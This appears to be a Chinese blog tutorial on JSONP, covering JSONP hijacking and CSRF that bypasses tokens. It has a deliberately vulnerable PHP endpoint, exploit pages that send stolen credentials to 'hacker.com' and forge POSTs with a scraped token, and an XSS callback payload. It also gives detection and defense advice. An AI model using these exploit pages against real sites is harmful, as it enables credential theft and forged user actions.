JSONP原理、安全风险与防御机制详解

作者:霁月

时间:2026-10-24

浏览:590

本文深入解析JSONP跨域技术原理,指出其利用script标签无同源限制的特性。重点分析JSONP劫持导致敏感数据泄露及绕过Token防护进行CSRF攻击的风险,并提供限制Referer、规范Content-Type及过滤回调函数等防御策略。

文章目录

JSONP简介

在讨论跨域获取资源的方案时,JSONP与CORS是最为常见的两种技术。下文将通过具体案例阐述JSONP的工作机制。

JSONP全称为JSON with Padding,是一种基于JSON格式、旨在解决跨域资源请求问题的技术方案。其核心实现原理在于利用HTML中script元素标签不受同源策略限制的特性。

JSONP的工作机制是动态插入包含跨域URL的script标签,随后触发回调函数,将获取到的JSON数据作为参数传入,并通过特定逻辑在页面上展示这些数据。

例如,通过script标签访问http://www.test.com/index.html?jsonpcallback=callback,在脚本执行完毕后,会调用指定的回调函数,并将获取到的数据作为参数传递。

该原理较为直观,下面通过本地环境进行复现。首先创建文件callback.php:

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

接着创建test.html:

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

访问test.html页面后,浏览器会执行script标签,向http://localhost/callback.php?callback=hehehe发起请求,并将返回内容作为参数执行hehehe函数,该函数通过alert弹窗展示请求到的内容。最终效果如下所示

JSONP简介

通过上述方式,我们实现了利用JavaScript操作跨域资源,从而绕过了浏览器的同源策略限制。

然而,随着业务场景的复杂化,安全问题日益凸显。若JSONP使用不当,可能引发多种安全风险。

JSONP劫持风险

在正常的业务场景中,用户通常需要在B域名下请求A域名的数据,并进行后续操作。

然而,对A域名的请求通常涉及身份验证。攻击者如何获取这些信息?攻击者可构造恶意页面,诱导用户点击。在该页面中,攻击者请求A域名的资源,并通过回调函数将获取到的数据发送至攻击者控制的服务器。

JSONP劫持的原理与CSRF漏洞类似,具体步骤可参考下图(源自参考文章1):

JSONP简介

利用代码如下所示:

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>

诱导用户访问该HTML页面,攻击者将以用户身份访问http://localhost/callback.php?callback=hehehe,从而获取敏感数据。随后执行hehehe函数,将数据发送至http://hacker.com/redirect.php。通过抓包工具可拦截到如下请求报文:

GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

攻击者只需在redirect.php中保存数据并重定向至baidu.com,即可完成一次完整的JSONP劫持。

利用JSONP绕过Token防护实施CSRF攻击

具体实例可参考文章2和3。

通过上述示例可知,JSONP能够获取敏感数据。在某些特定场景下,攻击者还可利用JSONP劫持绕过Token限制,进而完成CSRF攻击。

假设存在如下场景:服务端判断请求报文,若包含callback参数则返回JSONP格式数据,否则返回正常页面。相关代码如下:test.php

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数,输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>

针对该场景,若存在JSONP劫持漏洞,攻击者可获取页面内容,提取其中的csrf_token,随后提交表单,从而造成CSRF漏洞。示例利用代码如下(源自参考文章2):

<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

HTML回调返回一个对象obj,将该对象作为参数传入test函数,操作对象中属性名为html的值,通过正则匹配提取token,并将其加入表单自动提交,从而完成操作。用户点击该攻击页面即遭受CSRF攻击。

JSONP劫持的挖掘与防御

在漏洞挖掘阶段,首要任务是尽可能找出所有接口,特别是返回数据格式为JSONP的接口。(可在数据包中检索关键词callback、json、jsonp、email等,或手动添加callback参数,观察返回值是否发生变化)。

找到接口后,还需确认返回值包含敏感信息,且能被不同域的页面请求获取(即是否存在Referer限制。实际上,若接口存在Referer限制,仍有可能被绕过,此内容将在后续文章中详述)。

关于JSONP劫持的防御,其思路与CSRF防御类似。以下内容参考自文章4:

  • 限制来源Referer
  • 按照JSON格式标准输出(设置Content-Type为application/json; charset=utf-8),以预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的XSS攻击
  • 过滤callback函数名及JSON数据输出,以预防XSS攻击

参考资料

  • JSONP劫持原理与挖掘方法
  • JSONP绕过CSRF防护Token
  • 分享一个JSONP劫持造成的新浪某社区CSRF蠕虫
  • JSONP安全攻防技术

总结

至此,关于JSONP简单介绍及其安全风险的讲解结束。如需了解更多JSONP安全风险相关内容,请搜索本站历史文章或继续浏览相关文章,感谢大家的支持!

实用工具推荐

电子包浆

绿化、压缩、噪点和虚拟水印,自由调节做旧程度。

使用 ›
图片压缩

选择画质和输出格式,预览压缩前后的大小。

使用 ›
相关文章